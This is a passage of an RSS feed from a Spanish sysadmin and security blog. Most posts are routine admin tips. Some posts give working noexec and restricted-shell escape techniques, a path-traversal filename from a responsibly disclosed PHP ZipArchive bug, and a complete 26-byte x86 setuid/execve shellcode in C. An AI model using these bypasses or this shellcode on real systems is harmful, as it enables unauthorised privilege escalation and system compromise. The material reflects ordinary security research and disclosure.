href="http://www.microsoft.com/downloads/details.aspx?familyid=901a9b95-6063-4462-8150-360394e98e1e&amp;displaylang=en"&gt;&lt;b&gt;http://www.microsoft.com/downloads/details.aspx?familyid=901a9b95-6063-4462-8150-360394e98e1e&amp;displaylang=en&lt;/b&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-7589951530620281400?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/XbDwBAgPnoQ" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/XbDwBAgPnoQ/user-profile-deletion-utility.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/02/user-profile-deletion-utility.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-5340317488900437405</guid><pubDate>Tue, 17 Feb 2009 13:34:00 +0000</pubDate><atom:updated>2009-02-23T11:33:15.699+01:00</atom:updated><title>VMWare. Ubuntu/Debian eth0 desaparece</title><description>Tras copiar una VM, eth0 desaparece.&lt;br /&gt;&lt;br /&gt;Asi lo arregle yo:&lt;br /&gt;&lt;br /&gt;Editar:&lt;br /&gt;&lt;br /&gt;En Ubuntu: /etc/udev/rules.d/70-persistent-net.rules&lt;br /&gt;En Debian: /etc/udev/rules.d/z25-persistent-net.rules&lt;br /&gt;&lt;br /&gt;Borrar la primera entrada y cambiar en la segunda eth1 por eth0.&lt;br /&gt;&lt;br /&gt;Reiniciar servicios asociados:&lt;br /&gt;&lt;br /&gt;/etc/init.d/udev restart&lt;br /&gt;/etc/init.d/networking restart&lt;br /&gt;&lt;br /&gt;No es necesario reiniciar el host.&lt;br /&gt;&lt;br /&gt;&amp;lt;EDIT 23-2-09&amp;gt;&lt;br /&gt;Si seleccionamos mover nos olvidamos de este problema, ya que se mantiene todo el estado de la maquina, direccion MAC incluida. Esto viene bien en un entorno donde se quiera una altadisponibilidad con una VM de backup que en caso de fallo de una podamos levantar la otra.&lt;br /&gt;&amp;lt;/EDIT 23-2-09&amp;gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-5340317488900437405?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/Iylw-HEIpOY" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/Iylw-HEIpOY/vmware-ubuntudebian-eth0-desaparece.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/02/vmware-ubuntudebian-eth0-desaparece.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-3457589660910520784</guid><pubDate>Tue, 17 Feb 2009 09:37:00 +0000</pubDate><atom:updated>2009-02-17T10:40:18.106+01:00</atom:updated><title>VMWare tools Ubuntu</title><description>Click en Instalar VMWare tools&lt;br /&gt;&lt;br /&gt;sudo su&lt;br /&gt;&lt;br /&gt;Montar cdrom&lt;br /&gt;&lt;br /&gt;tar xzvf VMWare*.tar.gz (a /tmp)&lt;br /&gt;&lt;br /&gt;apt-get install gcc make&lt;br /&gt;&lt;br /&gt;apt-get install linux-headers`uname -r`&lt;br /&gt;&lt;br /&gt;ln -s /usr/src/linux-headers`uname -r` /usr/src/linux&lt;br /&gt;&lt;br /&gt;./vmware-install.pl&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-3457589660910520784?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/ZMcK4k8kk-M" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/ZMcK4k8kk-M/vmware-tools-ubuntu.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/02/vmware-tools-ubuntu.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-390289073672635467</guid><pubDate>Sat, 14 Feb 2009 11:43:00 +0000</pubDate><atom:updated>2009-02-14T12:44:36.000+01:00</atom:updated><title>Win. Ofrecer asistencia remota en la LAN</title><description>hcp://CN=Microsoft%20Corporation,L=Redmond,S=Washington,C=US/Remote%20Assistance/Escalation/Unsolicited/unsolicitedrcui.htm&lt;br /&gt;&lt;br /&gt;Esto es con permiso del usuario.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-390289073672635467?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/ZgxOQ2ORsPI" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/ZgxOQ2ORsPI/win-ofrecer-asistencia-remota-en-la-lan.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/02/win-ofrecer-asistencia-remota-en-la-lan.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-8966401669290043673</guid><pubDate>Wed, 28 Jan 2009 20:03:00 +0000</pubDate><atom:updated>2009-01-28T21:06:51.641+01:00</atom:updated><title>0-day in ZipArchive's PHP</title><description>Hoy me puse en contacto con el "security response team" de PHP sobre un bug que descubri en ZipArchive de PHP que, que yo sepa, no habia sido hecho publico.&lt;br /&gt;&lt;br /&gt;Pues bien, hoy mismo me han respondido, y como ya esta solucionado, aqui pongo el mail que les mande:&lt;br /&gt;&lt;br /&gt;On Wed, Jan 28, 2009 at 4:32 PM, vlan7 wrote:&lt;br /&gt;&gt; Hi!&lt;br /&gt;&gt;&lt;br /&gt;&gt; Recently I've found a vulnerability in ZipArchive's PHP.&lt;br /&gt;&gt;&lt;br /&gt;&gt; An atacker would overwrite any file doing a directory transversal simply&lt;br /&gt;&gt; naming zipped archives somethin' like ../../../../var/www/hack.php&lt;br /&gt;&gt;&lt;br /&gt;&gt; Are you aware of this?&lt;br /&gt;&lt;br /&gt;Yes, it is fixed in 5.3.0 and partially fixed in 5.2.x (a bug in a&lt;br /&gt;zend function did not fix it nicely). Everything should be fien in&lt;br /&gt;5.2.9 (RC1 to be released soon).&lt;br /&gt;&lt;br /&gt;Thanks for your report!&lt;br /&gt;&lt;br /&gt;Cheers,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8966401669290043673?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/jVyL2fBzv7Y" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/jVyL2fBzv7Y/0-day-in-ziparchives-php.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/01/0-day-in-ziparchives-php.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-907719115823418321</guid><pubDate>Wed, 28 Jan 2009 15:10:00 +0000</pubDate><atom:updated>2009-01-28T16:11:23.638+01:00</atom:updated><title>html mailto tag encoder antispam</title><description>&lt;a href="http://rumkin.com/tools/mailto_encoder/custom.php"&gt;&lt;b&gt;http://rumkin.com/tools/mailto_encoder/custom.php&lt;/b&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-907719115823418321?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/On-0PEPt4Q8" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/On-0PEPt4Q8/html-mailto-tag-encoder-antispam.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/01/html-mailto-tag-encoder-antispam.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-3706127306278277980</guid><pubDate>Wed, 28 Jan 2009 14:49:00 +0000</pubDate><atom:updated>2009-01-28T16:04:34.861+01:00</atom:updated><title>*nix. Saltando restriccion noexec + evadiendo una shell restrictiva</title><description>Si un buen administrador ha incluido en el fstab (vfstab en solaris) la opcion noexec para montaje de la particion digamos /home del usuario, su idea seria que el usuario no pudiera ejecutar programas bajados por el, es decir, que residan en la particion montada como noexec.&lt;br /&gt;&lt;br /&gt;Al intentar ejecutar un script con &lt;b&gt;./script.sh&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;No nos lo permite el sistema.&lt;br /&gt;&lt;br /&gt;Podemos saltarnos esta restriccion anteponiendo el script en el que esta programado. Por ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;font color=#FF0000&gt;&lt;b&gt;/bin/bash script.sh&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Para archivos binarios ejecutables, y esto es en Linux:&lt;br /&gt;&lt;br /&gt;&lt;font color=#FF0000&gt;&lt;b&gt;/lib/ld-linux.so.2 binario&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Como administradores se nos podria ocurrir quitar el permiso de ejecucion a ld-linux.so.2 , pero ¿que sistema no tiene alguna libreria dinamicamente enlazada? Asi que esa no es una solucion viable.&lt;br /&gt;&lt;br /&gt;Lo que podemos hacer es dar al usuario una shell restrictiva tipo bash-r como shell por defecto en el /etc/passwd&lt;br /&gt;&lt;br /&gt;Con esto lo que hacemos es una jaula en la que el usuario no puede ejecutar programas que no esten en el PATH, y por supuesto, no puede modificar la variable PATH.&lt;br /&gt;&lt;br /&gt;Bien, como todo lo que una mente humana puede asegurar, otra mente humana puede violar, como atacantes procederiamos asi.&lt;br /&gt;&lt;br /&gt;El viejo editor vi tiene una opcion para ejecutar comandos de shell.&lt;br /&gt;&lt;br /&gt;&lt;font color=#FF0000&gt;&lt;b&gt;probador:~$ cd .. &lt;br /&gt;rbash: cd: restricted &lt;br /&gt;probador:~$ vi prueba.sh&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Y en vi: &lt;br /&gt;&lt;br /&gt;&lt;font color=#FF0000&gt;&lt;b&gt;:set shell=/bin/bash &lt;br /&gt;:shell &lt;br /&gt;probador:~$ cd .. &lt;br /&gt;probador:/home$&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Suerte,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-3706127306278277980?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/lKQxZzGGCxg" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/lKQxZzGGCxg/nix-saltando-restriccion-noexec.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/01/nix-saltando-restriccion-noexec.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-241582134497133552</guid><pubDate>Wed, 28 Jan 2009 12:58:00 +0000</pubDate><atom:updated>2009-01-28T14:59:34.780+01:00</atom:updated><title>Sobre espacio ocupado por la bd de Active Directory</title><description>Algunos administradores lo que hacen para conocer el espacio ocupado por la bd de AD es usar el comando:&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;ntdsutil files info&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;El problema es que este comando da error si no es ejecutado en modo Restauracion de AD.&lt;br /&gt;&lt;br /&gt;Realmente la solucion es mucho mas sencilla. _Toda_ la bd de AD se encuentra en el archivo &lt;b&gt;ntds.dit&lt;/b&gt;. Lo que pese el archivo es el tamaño de la bd de AD.&lt;br /&gt;&lt;br /&gt;Es desfragmentable y es posible ver cuanto espacio en HD podemos ganar (tras eliminar objetos de AD) mediante una desfragmentacion que tanto puede ser online como offline. Google.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-241582134497133552?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/4WxNs-Exe4k" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/4WxNs-Exe4k/sobre-espacio-ocupado-por-la-bd-de.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/01/sobre-espacio-ocupado-por-la-bd-de.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-3781740228541917445</guid><pubDate>Mon, 19 Jan 2009 08:56:00 +0000</pubDate><atom:updated>2009-01-19T09:58:21.734+01:00</atom:updated><title>Migracion Exchange 5.5 -&gt; 2003</title><description>Esto es lo que he recuperado de un .doc que tenia sobre migraciones de Exchange 5.5 a versiones superiores. No es necesario pasar por 2000. A destacar que 5.5 usaba su propio Directorio, por lo que es necesario integrarlo en AD.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;  &lt;p align="center"&gt;&lt;font size="5" face="Times New Roman"&gt;&lt;b&gt;&lt;u&gt;MIGRACIÓN &lt;br /&gt;EXCHANGE 5.5-&amp;gt;2003&lt;/u&gt;&lt;/b&gt;&lt;/font&gt; &lt;br&gt; &lt;br&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="4" face="Times New Roman"&gt;&lt;b&gt;&lt;u&gt;Requisitos DC:&lt;/u&gt;&lt;/b&gt;&lt;/font&gt; &lt;br&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="4" face="Times New Roman"&gt;-W2k3 Server (Todas las funcionalidades &lt;br /&gt;de Exchange 2k3) Recomendado&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="4" face="Times New Roman"&gt;o&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="4" face="Times New Roman"&gt;-W2k Server SP3&lt;/font&gt; &lt;br&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="4" face="Times New Roman"&gt;&lt;b&gt;&lt;u&gt;Requisitos Exchange 2k3:&lt;/u&gt;&lt;/b&gt;&lt;/font&gt; &lt;br&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="4" face="Times New Roman"&gt;2GB RAM&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="4" face="Times New Roman"&gt;HD mínimo = Tamaño medio &lt;br /&gt;buzón * Num users&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="4" face="Times New Roman"&gt;NTFS&lt;/font&gt; &lt;br&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="4" face="Times New Roman"&gt;IIS&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="4" face="Times New Roman"&gt;Servicio SMTP&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="4" face="Times New Roman"&gt;Servicio NNTP (aunque no se &lt;br /&gt;use)&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="4" face="Times New Roman"&gt;Otros (&lt;a href="http://ASP.NET" target="_blank"&gt;ASP.NET&lt;/a&gt;, .Net Framework)&lt;/font&gt; &lt;br&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="4" face="Times New Roman"&gt;&lt;b&gt;&lt;u&gt;Migración 5.5 -&amp;gt; &lt;br /&gt;2k3:&lt;/u&gt;&lt;/b&gt;&lt;/font&gt; &lt;br&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="4" face="Times New Roman"&gt;(0.- Migración a AD) &amp;lt;- &lt;br /&gt;Sólo si el DC es NT. &lt;b&gt;Backup previo&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="4" face="Times New Roman"&gt;1.- Instalación + Config Conector &lt;br /&gt;de AD&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="4" face="Times New Roman"&gt;2.- Instalación Exchange 2k3 &lt;br /&gt;en organización actual&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="4" face="Times New Roman"&gt;3.- Migración datos&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="4" face="Times New Roman"&gt;4.- &lt;s&gt;&lt;strike&gt;Eliminación &lt;/strike&gt;&lt;/s&gt;&lt;br /&gt;Desconexión cable red Exchange 5.5&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="4" face="Times New Roman"&gt;Aquí ya estamos operativos. &lt;br /&gt;Default mode: Mixto&lt;/font&gt;&lt;/p&gt;&lt;br /&gt; &lt;br&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="4" face="Times New Roman"&gt;5.- Comprobación + Paso del &lt;br /&gt;tiempo&lt;/font&gt;&lt;/p&gt;&lt;br /&gt; &lt;br&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="4" face="Times New Roman"&gt;(6.- Paso a Modo Nativo)&amp;lt;-Opcional. &lt;br /&gt;Más óptimo que Mixto. &lt;u&gt;Irreversible.&lt;/u&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt; &lt;br&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="4" face="Times New Roman"&gt;&lt;b&gt;&lt;u&gt;Seguridad, &lt;br /&gt;Administración:&lt;/u&gt;&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt; &lt;br&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="4" face="Times New Roman"&gt;(…)&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-3781740228541917445?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/XNaSOmV4xjQ" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/XNaSOmV4xjQ/migracion-exchange-55-2003.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/01/migracion-exchange-55-2003.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-4781972245515652833</guid><pubDate>Sat, 17 Jan 2009 08:12:00 +0000</pubDate><atom:updated>2009-01-17T09:13:57.672+01:00</atom:updated><title>% CPU limiters</title><description>&lt;a href="http://cpulimit.sourceforge.net/"&gt;&lt;b&gt;CPU Usage Limiter for Linux&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://mion.faireal.net/BES/"&gt;&lt;b&gt;BES – Battle Encoder Shirase 1.3.8 for Windows XP/2000&lt;/b&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-4781972245515652833?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/z5zP0lj__9o" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/z5zP0lj__9o/cpu-limiters.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/01/cpu-limiters.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-232102265831390552</guid><pubDate>Tue, 25 Nov 2008 21:53:00 +0000</pubDate><atom:updated>2009-06-27T09:52:49.368+02:00</atom:updated><title>PostIt: Smallest GNU/Linux x86 setuid/execve shellcode without NULLs</title><description>Aqui esta todo lo que tengo que decir, en una de mis casas:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.wadalbertia.org/phpBB2/viewtopic.php?t=5139"&gt;&lt;b&gt;http://www.wadalbertia.org/phpBB2/viewtopic.php?t=5139&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Gracias &lt;b&gt;NeTTinG&lt;/b&gt; por hacerlo post-it, da gusto Wadalbertia, da gusto, de verdad :) Y a sch3ma de Opensec, he has initiated the funny game :)&lt;br /&gt;&lt;br /&gt;Si me lo permitis or recomiendo un buen libro del que me he podido empapar de bastante informacion:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Writing Security Tools and Exploits&lt;/i&gt;, de Syngress.&lt;br /&gt;&lt;br /&gt;Ah, por esta vez paso de mandarlo a ningun lado, yo ya estoy contento desprendiendo conocimiento a mi alrededor, mucho o poco, pero conocimiento. Total que.&lt;br /&gt;&lt;br /&gt;Suerte y Exitos.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-232102265831390552?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/icIEmsYrtyY" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/icIEmsYrtyY/postit-smallest-gnulinux-x86.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2008/11/postit-smallest-gnulinux-x86.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-6254335422411926002</guid><pubDate>Sat, 22 Nov 2008 09:32:00 +0000</pubDate><atom:updated>2008-11-22T10:33:11.167+01:00</atom:updated><title>Bit Twiddling Hacks</title><description>Bit Twiddling Hacks &lt;br /&gt;By Sean Eron Anderson&lt;br /&gt;seander@cs.stanford.edu&lt;br /&gt;&lt;br /&gt;Individually, the code snippets here are in the public domain (unless otherwise noted) — feel free to use them however you please. The aggregate collection and descriptions are © 1997-2005 Sean Eron Anderson. The code and descriptions are distributed in the hope that they will be useful, but WITHOUT ANY WARRANTY and without even the implied warranty of merchantability or fitness for a particular purpose. As of May 5, 2005, all the code has been tested thoroughly. Thousands of people have read it. Moreover, Professor Randal Bryant, the Dean of Computer Science at Carnegie Mellon University, has personally tested almost everything with his Uclid code verification system. What he hasn't tested, I have checked against all possible (32-bit) inputs. To the first person to inform me of a legitimate bug in the code, I'll pay a bounty of US$10 (by check or Paypal). If directed to a charity, I'll pay US$20.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://graphics.stanford.edu/~seander/bithacks.html"&gt;&lt;b&gt;Bit Twiddling Hacks&lt;/b&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-6254335422411926002?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/4Cdt2K_E8tc" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/4Cdt2K_E8tc/bit-twiddling-hacks.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2008/11/bit-twiddling-hacks.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-2035358624948936858</guid><pubDate>Wed, 19 Nov 2008 15:03:00 +0000</pubDate><atom:updated>2008-11-22T00:50:15.496+01:00</atom:updated><title>Smallest GNU/Linux x86 setuid/execve shellcode without NULLs</title><description>Bueno, consegui mejorar un poco la genial shellcode de Chema Garcia de opensec.&lt;br /&gt;&lt;br /&gt;Ahora soy yo el que tiene la shellcode mas pequeña del mundo haha (aun basandome -muchisimo, solo cambie un par de lineas- en la suya).&lt;br /&gt;&lt;br /&gt;Yo consegui reducirla 1 byte. 26 bytes.&lt;br /&gt;&lt;br /&gt;Ahora... ¿quien es el siguiente? ;)&lt;br /&gt;&lt;br /&gt;Ahi va:&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;/*&lt;br /&gt;Smallest GNU/Linux x86 setuid/execve shellcode without NULLs&lt;br /&gt;(based on Chema Garcia, aka sch3m4's code from opensec)&lt;br /&gt;(shrinked down only for the fun of gettin' the most minimalistic shellcode possible)&lt;br /&gt;&lt;br /&gt;vlan7 - 19/11/2008&lt;br /&gt;http://vlan7.blogspot.com&lt;br /&gt;&lt;br /&gt;Shellcode size: 26 bytes&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;&lt;br /&gt;char sc[] =&lt;br /&gt;"\x31\xc9" //xor ecx,ecx&lt;br /&gt;"\x8d\x41\x17" //lea eax,[ecx+17h]&lt;br /&gt;"\x60" //pusha&lt;br /&gt;"\xcd\x80" //int 80h&lt;br /&gt;"\x61" //popa&lt;br /&gt;"\x51" //push ecx&lt;br /&gt;"\x68\x6e\x2f\x73\x68" //push 0x68732f6e&lt;br /&gt;"\x68\x2f\x2f\x62\x69" //push 0x69622f2f&lt;br /&gt;"\x89\xe3" //mov ebx,esp&lt;br /&gt;"\xb0\x0b" //mov al,0bh&lt;br /&gt;"\xcd\x80"; //int 80h&lt;br /&gt;&lt;br /&gt;void main() {&lt;br /&gt;printf("Smallest GNU/Linux x86 setuid/execve shellcode without NULLs"&lt;br /&gt;"\n(based on Chema Garcia, aka sch3m4's code from opensec)"&lt;br /&gt;"(only for the fun of gettin' the most minimalistic shellcode possible)"&lt;br /&gt;"\n\nvlan7 - 19/11/2008"&lt;br /&gt;"\nhttp://vlan7.blogspot.com"&lt;br /&gt;"\n\nShellcode size: %d bytes\n", sizeof(sc)-1);&lt;br /&gt;(*(void (*)()) sc)();&lt;br /&gt;}&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;-Mi shellcode en Packetstorm:&lt;br /&gt;&lt;a href="http://packetstormsecurity.org/filedesc/smallest_setuid_execve_sc.c.html"&gt;http://packetstormsecurity.org/filedesc/smallest_setuid_execve_sc.c.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;-Mi shellcode en Wadalbertia (con comentarios nuestros):&lt;br /&gt;&lt;a href="http://www.wadalbertia.org/phpBB2/viewtopic.php?t=5139"&gt;http://www.wadalbertia.org/phpBB2/viewtopic.php?t=5139&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;-La shellcode de Chema Garcia (gracias Chema):&lt;br /&gt;&lt;a href="http://opensec.es/2008/11/14/gnulinux-x86-setuid0-execvebinsh00-shellcode-without-null/"&gt;http://opensec.es/2008/11/14/gnulinux-x86-setuid0-execvebinsh00-shellcode-without-null/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-2035358624948936858?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/28aoCA7Wzjw" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/28aoCA7Wzjw/smallest-gnulinux-x86-setuidexecve.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2008/11/smallest-gnulinux-x86-setuidexecve.html</feedburner:origLink></item></channel></rss>
